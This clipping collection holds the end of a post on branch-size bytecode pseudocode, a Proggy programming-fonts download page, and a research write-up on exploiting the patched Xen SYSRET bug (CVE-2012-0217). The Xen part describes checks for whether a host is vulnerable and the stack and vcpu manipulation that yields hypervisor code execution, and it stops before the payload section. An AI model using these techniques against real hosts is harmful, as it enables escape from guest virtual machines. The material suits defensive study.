> branch if one doesn't fit, only the ones that are affected by the increased
> branch size; but since I saw little performance increase \(surprisingly\), I
> chose to use the simpler version.  
>  
>  Now that I have explained everything, here is the pseudocode:  
>
> Code:
[code]

>     rebuild_from_order(cfg, order):
>         for vertex in order
>             size_of_branch[vertex] = 0
>  
>         do
>             length = 0
>             for vertex in order
>                 start[vertex] = length
>                 length += vertex.length + size_of_branch[vertex]
>  
>             has_changed = false
>             for vertex in order
>                 for edge in vertex.edges
>                     delta[edge] = start[edge] - (start +
> length(vertex.bytecode))
>                 if not branch_fits(vertex.branchtype, delta,
> size_of_branch[vertex])
>                     has_changed = true
>                     do
>                         size_of_branch[vertex]++
>                     while not possible_branch_size(size_of_branch[vertex])
>         while has_changed
>  
>         bytecode = empty
>         for vertex in order
>             length = 0
>             for vertex in order
>                 start[vertex] = length
>                 length += vertex.length + size_of_branch[vertex]
>  
>             for edge in vertex.edges
>                 delta[edge] = start[edge] - (start + vertex.length)
>  
>             bytecode += vertex.bytecode
>             bytecode += create_branch(vertex.branchtype, delta)
>  
>         return bytecode
>  
[/code]

> See you in part 3 which should be ready in 2009 <img src='img/tongue.gif' />  
>  
>  
> 1 This is possible if it's an unconditional branch with a delta of 0 bytes:
> "jmp next; next:" is the same as "".

# Proggy Programming Fonts

**Created:**| _9/17/2011 4:09:37 PM_  
---|---  
**Updated:**| _9/17/2011 4:09:37 PM_  
**Author:**| __  
**Tags:**| _programming_  
  

<img src='img/Temp2_6388.gif' width='681' height='81' />

<img src='img/Temp2_6391.gif' width='124' height='21' />

<img src='img/Temp2_6397.gif' width='124' height='21' />

<img src='img/Temp2_6392.gif' width='124' height='21' />

<img src='img/Temp2_6413.gif' width='124' height='21' />

<img src='img/Temp2_6389.gif' width='122' height='895' />

<img src='img/Temp2_6411.gif' width='120' height='600' />

<img src='img/Temp2_6374.gif' width='537' height='39' />

<img src='img/Temp2_6385.gif' width='51' height='14' />

<img src='img/Temp2_6387.gif' width='51' height='14' />

<img src='img/Temp2_6384.gif' width='51' height='14' />

<img src='img/Temp2_6379.gif' width='12' height='11' />

<img src='img/Temp2_6370.gif' width='12' height='11' />

<img src='img/Temp2_6370.gif' width='12' height='11' />

<img src='img/Temp2_6398.gif' width='270' height='74' alt='proggy clean' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
clean' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy clean' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
clean bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
clean truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
clean X windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download proggy
clean Mac dfont' />

<img src='img/Temp2_6401.gif' width='270' height='74' alt='proggy square' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
square' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy square' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
square bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
square truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
square X windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download proggy
square Mac dfont' />

<img src='img/Temp2_6390.gif' width='270' height='74' alt='proggy small' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
small' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy small' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
small bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
small truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
small X windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download proggy
small Mac dfont' />

<img src='img/Temp2_6394.gif' width='270' height='74' alt='proggy tiny' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
tiny' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy tiny' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy tiny
bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy tiny
truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy tiny
X windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download proggy tiny
Mac dfont' />

<img src='img/Temp2_6386.gif' width='270' height='74' alt='proggy clean
slashed zero' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
clean slashed zero' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy clean slashed zero' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
clean slashed zero bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
clean slashed zero truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
clean slashed zero X windows font' />

<img src='img/Temp2_6399.gif' width='270' height='74' alt='proggy square
slashed zero' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
square slashed zero' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy square slashed zero' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
square slashed zero bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
square slashed zero truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
square slashed zero X windows font' />

<img src='img/Temp2_6373.gif' width='270' height='74' alt='proggy tiny slashed
zero' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
tiny slashed zero' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy tiny slashed zero' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy tiny
slashed zero bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy tiny
slashed zero truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy tiny
slashed zero X windows font' />

<img src='img/Temp2_6406.gif' width='270' height='74' alt='proggy clean
slashed zero bold punctuation' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
clean slashed zero bold punctuation' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy clean slashed zero bold punctuation' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
clean slashed zero bold punctuation bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download proggy
clean slashed zero bold punctuation truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
clean slashed zero bold punctuation X windows font' />

<img src='img/Temp2_6404.gif' width='270' height='74' alt='proggy square bold
punctuation' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
square bold punctuation' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy square bold punctuation' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
square bold punctuation bitmap font' />

<img src='img/Temp2_6376.gif' width='270' height='74' alt='proggy tiny bold
punctuation' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
tiny bold punctuation' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy tiny bold punctuation' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy tiny
bold punctuation bitmap font' />

<img src='img/Temp2_6380.gif' width='270' height='74' alt='proggy clean cp' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of proggy
clean cp' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
proggy clean cp' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download proggy
clean cp bitmap font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download proggy
clean cp X windows font' />

<img src='img/Temp2_6371.gif' width='270' height='74' alt='progsole' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of
progsole' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
progsole' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download progsole X
windows font' />

<img src='img/Temp2_6393.gif' width='270' height='74' alt='cgmono' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of
cgmono' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
cgmono' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download cgmono
bitmap font' />

<img src='img/Temp2_6395.gif' width='270' height='74' alt='coding font tobi'
/>

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of coding
font tobi' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
coding font tobi' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download coding font
tobi truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download coding font
tobi X windows font' />

<img src='img/Temp2_6414.gif' width='270' height='74' alt='opti' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of opti'
/>

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
opti' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download opti bitmap
font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download opti X
windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download opti Mac
dfont' />

<img src='img/Temp2_6408.gif' width='270' height='74' alt='opti small' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of opti
small' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
opti small' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download opti small
bitmap font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download opti small
X windows font' />

<img src='img/Temp2_6378.gif' width='20' height='25' alt='download opti small
Mac dfont' />

<img src='img/Temp2_6375.gif' width='270' height='74' alt='opti bold
punctuation' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of opti
bold punctuation' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
opti bold punctuation' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download opti bold
punctuation bitmap font' />

<img src='img/Temp2_6377.gif' width='270' height='74' alt='opti small bold
punctuation' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of opti
small bold punctuation' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
opti small bold punctuation' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download opti small
bold punctuation bitmap font' />

<img src='img/Temp2_6412.gif' width='270' height='74' alt='dina' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of dina'
/>

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
dina' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download dina bitmap
font' />

<img src='img/Temp2_6382.gif' width='270' height='74' alt='speedy' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of
speedy' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
speedy' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download speedy
bitmap font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download speedy X
windows font' />

<img src='img/Temp2_6383.gif' width='270' height='74' alt='crisp' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of crisp'
/>

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
crisp' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download crisp
truetype font' />

<img src='img/Temp2_6381.gif' width='270' height='74' alt='pixel carnage' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of pixel
carnage' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
pixel carnage' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download pixel
carnage bitmap font' />

<img src='img/Temp2_6407.gif' width='20' height='25' alt='download pixel
carnage truetype font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download pixel
carnage X windows font' />

<img src='img/Temp2_6400.gif' width='270' height='74' alt='webby small' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of webby
small' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
webby small' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download webby small
bitmap font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download webby small
X windows font' />

<img src='img/Temp2_6372.gif' width='270' height='74' alt='webby caps' />

<img src='img/Temp2_6409.gif' width='32' height='25' alt='screenshot of webby
caps' />

<img src='img/Temp2_6396.gif' width='177' height='2' />

<img src='img/Temp2_6402.gif' width='20' height='20' alt='information about
webby caps' />

<img src='img/Temp2_6405.gif' width='20' height='25' alt='download webby caps
bitmap font' />

<img src='img/Temp2_6410.gif' width='20' height='25' alt='download webby caps
X windows font' />

<img src='img/Temp2_6403.gif' width='469' height='48' />

# Adventures in Xen exploitation | NCC Group
**Created:**| _3/3/2015 1:55:16 PM_  
---|---  
**Updated:**| _3/3/2015 1:55:16 PM_  
**Author:**| __  
**Tags:**| __  
  

# Adventures in Xen exploitation

Friday February 27, 2015

## tl;dr

This post is about my experience trying to exploit the Xen SYSRET bug
\(CVE-2012-0217\).

This issue was patched in June 2012 and was disclosed in Xen Security Advisory
7 \[1\]. The bug was found by Rafal Wojtczuk and Jan Beulich. Rafal gave a
talk about it at BlackHat USA 2012, \[2\]\[3\].

Xen versions unpatched 4.1.2 and earlier releases are affected. In short, we
won, learnt a lot and came up with some novel techniques along the way.

## Overview, Assumptions and Prerequisites

In this post we will look into the process of developing a VM escape exploit,
give some ideas on the complexity of achieving robustness, and how even with a
good set of instructions to follow from other researchers you can run into
some unexpected scenarios and some tough choices.

I make the assumption that you know enough about Xen to know the difference
between dom0 and domU, as well as what paravirtualized \(PV\) and hardware
virtualized \(HVM\) guests are. If you don't, I recommend reading through some
of the Xen wiki \[OW1\] \[4\], which is a great resource.

I also want to note that I try to reference previous works as much as
possible. There are probably tricks or techniques that are used that have been
documented previously and I don't necessarily mean to take credit for those.
If you find I'm missing proper credit for some technique please let me know
and I'll update this post.

## Why Exploit a Three-Year Old Bug?

Although this bug is a little old by today’s standards, we thought it would be
a good way to learn about Xen, which I'd never used before. We also wanted to
try virtual machine \(VM\) escape exploitation in general, which we'd never
got around to doing before.

There is a great write up \[5\] on the exploitation of this bug by Jordan
Gruskovnjak at VUPEN. His blog post describes using an approach found by Rafal
Wojtczuk to reliably exploit the vulnerability without relying on knowing the
Xen address space, which is really nice.

I highly recommend reading this before continuing with my post, because I
reference it often and skip over a lot of the details to avoid redundancy
where possible.

Despite the very descriptive post from VUPEN, no public exploits for this bug
exist. So I thought it would be fun to recreate their findings and see how far
I could get.

I do think it is worth noting that iZsh from fail 0verflow did release an
exploit \[6\] targeting the same underlying SYSRET bug on FreeBSD, which is a
worthwhile read. Although the bug has the same underlying cause, exploitation
on Xen is quite different and can mostly be considered a different bug.

## Exploit development environment

I figured having a working hypervisor debugger \[7\] was key to getting an
exploit working, and it was indeed invaluable. The 4.1.x tree however does not
support the debugger by default, but I was able to easily backport the patch
from the Mercurial repository. There is one other small patch \[8\] needed.
Also there are some posts about what Xen arguments you need to enable the
console \[9\], which I found quite useful.

Overall the debugger is pretty nice, although at times it just won't work
depending on register state, so sometimes some creativity is required to
actually know what's actually happening in your payload. It supports some
useful features like dumping the interrupt dispatch table \(IDT\), machine
specific registers \(MSRs\), etc.

The debugger uses the serial console, so I figured the easiest way to have
this work was to run Xen itself inside of a VM. I had no luck getting it to
work in VMWare Workstation, but VirtualBox worked okay as long as Enable APIC
I/O was enabled. This let me easily attach to and interact with the debugger's
serial console.

Triggering the bug requires a 64-bit paravirtualized \(PV\) domU and requires
you to be in the kernel, in order to trigger a hypercall that actually results
in the sysret instruction being called. I developed my exploit as a Linux
Kernel Module \(lkm\), although you could presumably use any 64-bit PV guest
to do it.

I used a 64-bit dom0 Linux VM to start and created a 64-bit domU. In order to
ssh into the dom0 and domU VMs I had to setup secondary host-only bridged
interfaces in VirtualBox and update the Xen configs to use them, but once that
was done I could easily copy my lkm to domU and write shell scripts to
automate restarting domU via Xen tools as needed.

It's worth noting that in addition to the hypervisor debugger, I often relied
on custom Xen builds to print debugging messages letting me know I was hitting
the intended code paths.

## Goals of exploitation

I try to keep a list of my high level goals when I'm exploiting something. I
had a few high level goals for this exploit, many of which went beyond what
was described in the public exploit blog post.

  * Reliable exploitation without leaking Xen address space
  * Bypass SMEP
  * Vulnerability detection
  * Hypervisor architecture detection
  * dom0 architecture detection
  * 32-bit and 64-bit dom0 migration
  * dom0 OS detection
  * Inter-domain data tunneling for payloads

I'll discuss most of these in detail throughout this post.

## Determining vulnerability

Before I jump into my experience triggering the vulnerability, I wanted to
quickly talk about determining if the system you're on is actually vulnerable.
There are effectively four basic requirements for the exploit to work:

  * Has to be an Intel CPU
  * Has to be a 64-bit paravirtualized \(PV\) guest
  * Has to be a vulnerable Xen version
  * Has to be a 64-bit version of Xen hypervisor

Most of these are reasonably easy to deduce, but I think it's worth mentioning
because a lot of VM escape exploit talks and posts don't actually talk much
about profiling their environment to know what their world looks like.

## Determining CPU type

The CPUID instruction supports returning a vendor identification string, which
is "GenuineIntel". This is returned when you execute CPUID with EAX set to 0.
EBX, EDX, and ECX will contain the vendor string. More about this can be seen
in the Intel 64 and IA-32 Architectures Software Developer's Manual \[10\].
Also the fail0verflow sysret exploit mentioned earlier contains an example of
this being done.

## Has to be a 64-bit PV guest

Determining if the machine you are on is paravirtualised is relatively easy.
You can query dmesg output to see if it mentions Xen, you can look for Xen
frontend drivers in lsmod output. The easiest way to test though is to just
look for  _/sys/hypervisor/_ entries which are populated by the Xen drivers.

A hardware VM \(HVM\) guest will typically be oblivious to the fact that it's
running as a Xen guest, so won't have these same virtualization artifacts.

If for some reason on a PV guest you can't determine that you're
paravirtualized using one of the above methods, the best alternative is to try
to issue a hypercall that only is supported on PV guests. HVM guests only
support a small subset of calls and any others will return -ENOSYS. You can
check the  _hvm\_hypercall64\_table_ array in  _xen/arch/x86/hvm/hvm.c_ as an
example of how few are supported.

This table looks like:

|  `static` `hvm_hypercall_t *` `const` `hvm_hypercall64_table[NR_hypercalls]
= {` `[ __HYPERVISOR_memory_op ] = (hvm_hypercall_t *)hvm_memory_op,` `[
__HYPERVISOR_grant_table_op ] = (hvm_hypercall_t *)hvm_grant_table_op,` `[
__HYPERVISOR_vcpu_op ] = (hvm_hypercall_t *)hvm_vcpu_op,` `[
__HYPERVISOR_physdev_op ] = (hvm_hypercall_t *)hvm_physdev_op,`
`HYPERCALL(xen_version),` `HYPERCALL(console_io),`
`HYPERCALL(event_channel_op),` `HYPERCALL(sched_op),`
`HYPERCALL(set_timer_op),` `HYPERCALL(xsm_op),` `HYPERCALL(hvm_op),`
`HYPERCALL(sysctl),` `HYPERCALL(domctl),` `HYPERCALL(tmem_op),` `[
__HYPERVISOR_arch_1 ] = (hvm_hypercall_t *)paging_domctl_continuation` `};`  
---|---  
The list of PV hypercalls can be found in xen/include/public/xen.h by looking
at the functions prefixed with  _HYPERVISOR\__ . You can see there are
significantly more. Just as a basic example, consider
_HYPERVISOR\_get\_debugreg_. This corresponds to the  _do\_get\_debugreg\(\)_
function:

|  `unsigned ` `long` `do_get_debugreg(` `int` `reg)` `{` `struct` `vcpu *curr
= current;` `switch` `( reg )` `{` `case` `0 ... 3:` `case` `6:` `return`
`curr->arch.debugreg[reg];` `case` `7:` `return` `(curr->arch.debugreg[7] |`
`curr->arch.debugreg[5]);` `case` `4 ... 5:` `return`
`((curr->arch.pv_vcpu.ctrlreg[4] & X86_CR4_DE) ?` `curr->arch.debugreg[reg +
2] : 0);` `}` `return` `-EINVAL;` `}`  
---|---  
It's quite obvious this function returns something other than  _-ENOSYS_ , so
if do get  _-ENOSYS_ you know you're in an HVM guest, otherwise you're in a PV
guest.

Also it should be obvious if you're already running your 64-bit binary on domU
but you can determine if you're on a 64-bit system by simply calling
uname\(2\) or running the uname -p command. So that combined with your PV
indicator is all you need.

## Has to be a vulnerable Xen version

How can you tell if Xen is actually vulnerable?

Conveniently Xen provides version information to the guests in a hypercall. On
PV guests this is also typically exposed in the aforementioned
_/sys/hypervisor/_ directory tree, specifically in
_/sys/hypervisor/version/major, /sys/hypervisor/version/minor_ , and
_/sys/hypervisor/version/extra_. You can combine the values in these to
determine the general version.

One minor point related to determining vulnerability is when a specific
version, like 4.1.2 in our case, was vulnerable but a patch was provided which
means that the version alone might not indicate vulnerability.

Xen conveniently provides even more metadata we can use, specifically the
compile date of the hypervisor, which can be found in
_/sys/hypervisor/compilation/compile\_date_. If a patch was released for 4.1.2
in June 2012, if we test the compile\_date value and see that was built before
June 2012, we can be fairly sure about the presence of the vulnerability.

Here is some output from a domU guest:

|  `$ cat /sys/hypervisor/version/major` `4` `$ cat
/sys/hypervisor/version/minor` `1` `$ cat /sys/hypervisor/version/extra` `.2`
`$ cat /sys/hypervisor/compilation/compile_date`  
---|---  
Tue Feb 3 15:14:26 GMT 2015

If for some reason these  _/sys/hypervisor/_ files are not accessible, I noted
there is a hypercall where this information actually comes from. This is
called the xen\_version hypercall, and from an lkm you can call it like so
\(with the right xen headers included\):

|  `version = HYPERVISOR_xen_version(XENVER_version, NULL);`  
---|---  
The first parameter indicates the subcommand you want to send to the
hypercall.  _XENVER\_version_ shown above gives you the major and minor
numbers.  _XENVER\_extraversion, XENVER\_compileinfo, XENVER\_commandline_ ,
and others can get you even more information.

## Has to be a 64-bit hypervisor

In order to trigger the vulnerability, the hypervisor itself must be 64-bit. I
didn't investigate ways to determine this property much because there was one
easy answer in my context. A 32-bit hypervisor is not capable of running a
64-bit PV guest, only a 64-bit HVM guest. If you can determine you are a
64-bit PV guest, then you already know it's a 64-bit hypervisor.

It's not entirely clear to me at the moment how best to determine the
architecture of the hypervisor otherwise. I suspect there will be some
structure values you can query from a hypercall that will be populated in
32-bit and not on 64-bit, or vice versa. Similarly there might be some per-
architecture hypercall behaviors you can somehow differentiate between. This
is something for future research and I'd be interested to hear any approaches
or ideas people have.

## Getting code execution

So now that we can tell if the system is vulnerable, let’s move onto actually
triggering the bug.

As noted, the VUPEN write up is really good and I'm not going to bother re-
explaining a lot of what it already says. However, there were a few areas
where my results deviated from what they described or where what they
described was ambiguous or misleading \(at least to me\). These are topics I
will touch on here. I recommend having the VUPEN article open for reference as
you read the following section, as I'll regularly reference pieces of their
blog post.

The first difference I had related to the use of the  _mmap\_region\(\)_
function. The prototype of this function has changed across different versions
of the Linux kernel. At one point it took six arguments, as demonstrated in
the VUPEN blog, however, it takes five arguments on modern kernels. This is
easy to work around, but you want to be aware of the version your lkm is built
on so that you can pass the arguments appropriately. You can use
_LINUX\_VERSION\_CODE_ to determine what the kernel version will be at build
time.

The API change was made in commit  _c22c0d6344c362b1dde5d8e160d3d07536aca120_
, which was first introduced to Linux release 3.9. So anything earlier than
3.8 uses six arguments.

The second thing to mention is related to what happens inside
_emulate\_privileged\_op\(\)_. The VUPEN blog describes it as follows:

_" Eventually the "emulate\_privileged\_op\(\)" is called in
"xen/x86/traps.c", but will generate a \#PF in the "read\_descriptor\(\)" sub
function on the following piece of code ... The "\_\_get\_user\(\)" macro
actually uses the current segment selector as the index in the kernel virtual
GDT / IDT which causes a \#PF on an invalid read."_

The article then describes how to work your way out of the
_do\_page\_fault\(\)_ scenario by manipulating the outcome of  _in\_irq\(\)_.
I found this part of the VUPEN write up somewhat misleading in that I didn't
initially interpret it as being required to supply a malformed segment
selector ourselves to cause the read to fail.

In my testing a \#PF was not actually generated by the  _\_\_get\_user\(\)_
macro by default. So I figured I have to specifically force it to fail,
otherwise I'd end up staying inside  _read\_descriptor\(\),_ which I don't
want. VUPEN describes this as causing an invalid read due to current segment
selector, but I didn't originally interpret it as meaning I had to provide a
malicious value.

As a reminder, this is the code that we're stuck in, from
_xen/arch/x86/traps.c_ :

|  `if` `( !vm86_mode(regs) )` `{` `if` `( sel < 4)` `desc.b = desc.a = 0;`
`else` `if` `( __get_user(desc,` `(` `const` `struct` `desc_struct *)(!(sel &
4)` `? GDT_VIRT_START(v)` `: LDT_VIRT_START(v))` `+ (sel >> 3)) )` `return`
`0;`  
---|---  
So if  _\_\_get\_user\(\)_ is not going to throw a \#PF by default, we need to
figure out if we can force it to fail. This is the only code in the whole r
_ead\_descriptor\(\)_ function that returns 0, which we would like, so our
answer will be in the  _\_\_get\_user\(\)_ macro or the parameters passed to
it.

The  _\_\_get\_user\(\)_ macro itself simply reads from a userland pointer, as
indicated below.

|  `* This macro copies a single simple variable from user space to kernel` `*
space. It supports simple types like ` `char` `and ` `int` `, but not larger`
`* data types like structures or arrays. [...]` `#define __get_user(x,ptr) \`
`__get_user_nocheck((x),(ptr),` `sizeof` `(*(ptr)))`  
---|---  
The macro itself doesn't really give us the opportunity to force it to fail,
so we have to instead look to the arguments. First, how do the
_GDT\_VIRT\_START\(\)_ and  _LDT\_VIRT\_START\(\)_ macros work?

|  `/* The address of a particular VCPU's GDT or LDT. */` `#define
GDT_VIRT_START(v) \` `(PERDOMAIN_VIRT_START + ((v)->vcpu_id <<
GDT_LDT_VCPU_VA_SHIFT))` `#define LDT_VIRT_START(v) \` `(GDT_VIRT_START(v) +
(64*1024))`  
---|---  
We see that both construct the address to dereference using the virtual CPU
\(vcpu\) identifier. If we could manipulate this, we might be able to force
the read to fail and then page fault on an invalid address. We need to know
where v comes from in this context.

If we go back and look at the  _read\_descriptor\(\)_ call in
_emulate\_privileged\_op\(\)_ we'll see that the variable v simply points to
current, which if you've read the VUPEN article, you know we control because
it is basically a macro that points to the top of our controlled stack.

|  `static` `int` `emulate_privileged_op(` `struct` `cpu_user_regs *regs)` `{`
`struct` `vcpu *v = current;` `[...]` `if` `( !read_descriptor(regs->cs, v,
regs,` `&code_base, &code_limit, &ar,`
`_SEGMENT_CODE|_SEGMENT_S|_SEGMENT_DPL|_SEGMENT_P) )` `goto` `fail;`  
---|---  
We have two options. One that VUPEN indicated, which is that we also control
the regs argument, which means we can provide an arbitrary  _regs- >cs
selector_, which can be used to cause an invalid address.

Alternately, we can provide an arbitrary  _vcpu- >vcpu\_id_ value, and achieve
similar results. As long as we make this an invalid address, we can trigger
the \#PF that VUPEN mentioned, and get the result from  _\_\_get\_user\(\)_ we
want. I ended up using the modified vcpu\_id because it wasn't until
afterwards I realized what was meant by the selector causing it to fail.

There is one last thing that I found misleading in the VUPEN write up, which
is related to using  _do\_guest\_trap\(\)_ to actually overwrite the return
address and cs selector that will be used during the iretq.

The way this trick is described by the VUPEN blog post is:

_" The current pointer is again used to initialize the trap\_bounce structure.
The addresses of the two structures are offsets from arch pointer which is a
field of the current pointer. One can easily supply an arbitrary arch pointer
such that the tb->cs and tb->eip will overlap with respectively the saved CS
and RIP of the instruction after the SYSRET instruction which generated the
\#GP fault."_

The arch member of the vcpu structure is not a pointer, it's just an inline
structure. This means you can't actually provide an arbitrary arch pointer in
order to overlap the trap\_bounce structure. The approach is slightly
different than what is implied. I have no doubt what I do is exactly what they
did, I just want to clarify what was actually meant, to aid anyone else that
tries to exploit the bug. So how do we do it then?

What we need to do is use the vcpu pointer itself to facilitate the overlap.
This worried me at first because the stored return address and cs selector we
want to overwrite are on the stack currently being used, and we have to
overlay the entire vcpu structure onto stack. This means that as functions and
stack frames are used along the exploit paths, we're manipulating values
inside the fake vcpu structure. The biggest concern here was that the
unavoidable stack usage while working our way to  _do\_guest\_trap\(\)_ would
end up overwriting the values from the trap context that we wanted to still
have control over so that they would be written to the  _trap\_bounce_
structure, which overlaps our overwrite target.

If the vcpu structure wasn't so massive and specifically the distance between

_vcpu- >arch.trap\_bounce and vcpu->arch.guest\_context.trap\_ctxt_ wasn't so
big, we could've run into trouble. In practice the distance between the two
parts of the structure was over 0x1000 bytes, so left enough room to avoid
unwanted corruption. To better understand what exactly is happening with this
vcpu overlap, and how the  _arch.guest\_context.trap\_ctxt_ values influence
the saved return values for the iret,  _arch.trap_ \_bounce are designed to
overlap, I've tried to illustrate the situation below.

<img src='https://www.nccgroup.com/media/481786/xen-1_1191x756.jpg' alt='XEN -
1' />

So once that's all finished the iretq will occur and we'll jump to an
arbitrary address and code selector we control, which we can use to execute
code within the hypervisor context.

When it comes to an exploit like this however, which VUPEN correctly equated
to remote kernel exploitation, getting code execution is often only the
beginning. More fun to follow.

## Bypassing SMEP

I was able to successfully bypass SMEP while exploiting this bug, but due to
some additional research being done related to the technique used, it will be
discussed in a future post.

## Stage 1 payload

